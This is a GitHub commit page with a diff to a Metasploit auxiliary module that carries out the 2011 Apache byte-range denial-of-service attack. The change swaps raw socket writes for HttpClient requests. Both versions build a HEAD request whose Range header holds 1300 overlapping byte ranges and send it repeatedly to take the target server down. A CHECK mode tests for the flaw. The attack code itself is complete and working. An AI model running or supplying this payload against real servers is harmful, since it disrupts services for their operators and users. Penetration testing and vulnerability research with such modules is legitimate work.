Skip to content

Commit 1714fa2

Browse files
author
T0X1C-1
committed
adjusted DOS part to use HttpClient
1 parent a48c141 commit 1714fa2

File tree

1 file changed

+15
-30
lines changed

1 file changed

+15
-30
lines changed

modules/auxiliary/dos/http/apache_range_dos.rb

Lines changed: 15 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,6 @@
1313

1414
class Metasploit3 < Msf::Auxiliary
1515

16-
include Msf::Exploit::Remote::Tcp
1716
include Msf::Exploit::Remote::HttpClient
1817
include Msf::Auxiliary::WmapScanFile
1918
include Msf::Auxiliary::Scanner
@@ -45,35 +44,27 @@ def initialize(info = {})
4544
[ 'OSVDB', '74721' ],
4645
],
4746
'DisclosureDate' => 'Aug 19 2011',
48-
49-
'Actions' =>
50-
[
51-
['DOS'],
52-
['CHECK']
53-
],
54-
'DefaultAction' => 'DOS'
55-
5647
))
5748

5849
register_options(
5950
[
6051
Opt::RPORT(80),
6152
OptString.new('URI', [ true, "The request URI", '/']),
6253
OptInt.new('RLIMIT', [ true, "Number of requests to send",50]),
63-
OptString.new('ACTION', [true, "DOS or CHECK", "DOS"])
54+
OptEnum.new('ACTION', [true, "DOS or CHECK", "DOS",["DOS","CHECK"]])
6455
], self.class)
6556
end
6657

6758
def run_host(ip)
6859

69-
case action.name
60+
case datastore['action']
7061

71-
when 'DOS'
72-
conduct_dos()
62+
when 'DOS'
63+
conduct_dos()
7364

74-
when 'CHECK'
75-
check_for_dos()
76-
end
65+
when 'CHECK'
66+
check_for_dos()
67+
end
7768

7869
end
7970

@@ -94,14 +85,12 @@ def check_for_dos()
9485
:host => rhost,
9586
:port => rport,
9687
:data => "Apache Byte-Range DOS at #{path}"
97-
9888
)
9989

10090
else
101-
print_status("NADA")
102-
103-
end
91+
print_status("#{rhost} doesn't seem to be vulnerable at #{path}")
10492

93+
end
10594

10695
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
10796
rescue ::Timeout::Error, ::Errno::EPIPE
@@ -113,23 +102,19 @@ def check_for_dos()
113102

114103
def conduct_dos()
115104
uri = datastore['URI']
105+
rhost = datastore['RHOST']
116106
ranges = ''
117107
for i in (0..1299) do
118108
ranges += ",5-" + i.to_s
119109
end
120110
for x in 1..datastore['RLIMIT']
121111
begin
122-
connect
123112
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
124-
125-
sploit = "HEAD " + uri + " HTTP/1.1\r\n"
126-
sploit << "Host: " + rhost + "\r\n"
127-
sploit << "Range: bytes=0-" + ranges + "\r\n"
128-
sploit << "Accept-Encoding: gzip\r\n"
129-
sploit << "Connection: close\r\n\r\n"
130-
131-
sock.put(sploit)
132-
disconnect
113+
res = send_request_cgi({
114+
'uri' => uri,
115+
'method' => 'HEAD',
116+
'headers' => { "HOST" => rhost,
117+
"Range" => "bytes=0-#{ranges}"}},1)
133118
rescue ::Rex::ConnectionRefused
134119
print_status("Unable to connect to #{rhost}:#{rport}.")
135120
rescue ::Errno::ECONNRESET

0 commit comments

Comments
 (0)